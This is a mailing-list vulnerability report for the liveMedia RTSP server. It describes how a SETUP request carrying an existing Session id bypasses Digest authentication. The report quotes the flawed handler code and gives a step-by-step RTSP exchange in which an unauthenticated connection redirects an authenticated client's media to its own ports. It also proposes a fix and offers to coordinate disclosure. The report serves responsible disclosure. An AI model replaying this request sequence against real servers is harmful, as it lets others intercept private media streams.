[Live-devel] SETUP with an existing Session id bypasses authentication
Qingyang Zhou
qingyang.zhou at uwaterloo.ca
Mon Jul 6 11:22:08 PDT 2026
Hello,
When the RTSP server is built with a UserAuthenticationDatabase (Digest auth
required), a SETUP request that carries an existing "Session:" header is
processed WITHOUT authentication. Since SETUP sets the media destination, a
party that only knows a session id can -- with no credentials -- reconfigure
another (authenticated) client's session and make the server deliver that
client's media to a destination of the attacker's choosing.
Tested against liveMedia version 2026.07.04 (Linux / x86-64), stock library.
Affected code
-------------
In RTSPServer::RTSPClientConnection::handleRequestBytes(), the SETUP handler
authenticates only when the request has NO "Session:" header (the new-session
case):
} else if (strcmp(cmdName, "SETUP") == 0) {
Boolean areAuthenticated = True;
if (!requestIncludedSessionId) {
...
if (authenticationOK("SETUP", urlTotalSuffix, ...)) {
clientSession = ... createNewClientSessionWithId();
} else {
areAuthenticated = False;
}
}
if (clientSession != NULL) {
clientSession->handleCmd_SETUP(...); // reached with NO auth when a
// Session: id is present
}
A SETUP that includes a "Session:" id skips authenticationOK() entirely and
goes straight to handleCmd_SETUP() -> getStreamParameters(), which overwrites
the session's destination (address + ports).
This is inconsistent with the other within-session commands, which are
authenticated. handleCmd_PLAY() documents the exact threat that re-SETUP
misses:
// If we're authenticating, then check here, to protect against use of a
// stolen session id:
if (!ourClientConnection->authenticationOK("PLAY", rtspURL, fullRequestStr)) return;
So PLAY is explicitly protected against a stolen session id, but a re-SETUP --
which is what controls where the media is sent -- is not.
Reproduction
------------
The server:
UserAuthenticationDatabase* auth = new UserAuthenticationDatabase("bug6");
auth->addUserRecord("user", "pass");
RTSPServer* s = RTSPServer::createNew(*env, port, auth);
// one "stream" with a WAVAudioFileServerMediaSubsession
Two separate TCP connections:
Connection A -- legitimate, authenticated client:
A -> S: SETUP rtsp://host/stream/track1 RTSP/1.0
CSeq: 1
Transport: RTP/AVP/UDP;unicast;client_port=30002-30003
S -> A: RTSP/1.0 401 Unauthorized
WWW-Authenticate: Digest realm="bug6", nonce="..."
A -> S: SETUP rtsp://host/stream/track1 RTSP/1.0
CSeq: 2
Authorization: Digest username="user", realm="bug6", nonce="...",
uri="rtsp://host/stream/track1", response="..."
Transport: RTP/AVP/UDP;unicast;client_port=30002-30003
S -> A: RTSP/1.0 200 OK
Session: EF73F9BB
Connection B -- unauthenticated, only knows the session id:
B -> S: SETUP rtsp://host/stream/track1 RTSP/1.0
CSeq: 1
Session: EF73F9BB
Transport: RTP/AVP/UDP;unicast;client_port=30004-30005
S -> B: RTSP/1.0 200 OK <-- accepted, no Authorization header
The authenticated client then plays normally:
A -> S: PLAY rtsp://host/stream RTSP/1.0
CSeq: 3
Session: EF73F9BB
Authorization: Digest ...
S -> A: RTSP/1.0 200 OK
Observed result: every RTP/RTCP packet is delivered to connection B's ports
(30004/30005); connection A's ports (30002/30003) receive nothing:
udp packets: owner_rtp=0 owner_rtcp=0 attacker_rtp=16 attacker_rtcp=2
i.e. the authenticated client's own PLAY delivered the entire media stream to
the unauthenticated party. (The session id above, EF73F9BB, is server-assigned
and differs per run.)
Impact and preconditions
------------------------
The attacker must know the session id. The session id is sent in cleartext in
every RTSP request and response, so any on-path observer of the control channel
obtains it, and no credentials are needed. Because getStreamParameters() uses
the address of the connection that sent the SETUP as the destination, on a real
network the media is redirected to the attacker's own host/port -- not merely a
different local port as in the loopback PoC. For the media-delivery path this
defeats the Digest authentication the server relies on, and which is explicitly
enforced for PLAY against this same "stolen session id" case.
Suggested fix
-------------
Authenticate SETUP requests that carry an existing "Session:" id as well -- e.g.
call authenticationOK("SETUP", ...) before dispatching to handleCmd_SETUP() in
the requestIncludedSessionId branch (or, more simply, authenticate every SETUP).
A legitimate client already holds credentials and re-authenticates transparently
under Digest, so this only closes the unauthenticated reconfiguration path and
makes SETUP consistent with PLAY / PAUSE / TEARDOWN.
The PoC (server.cc + client.py) is ready and reproduces the transcript above in
a single run against the stock library. I'm happy to provide any further detail
or test a patch. If you would like to assign a CVE for this, I can also supply
whatever information you need for the request and coordinate on disclosure
timing.
Best regards,
Zhou Qingyang
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.live555.com/pipermail/live-devel/attachments/20260706/a1863bae/attachment-0001.htm>
More information about the live-devel
mailing list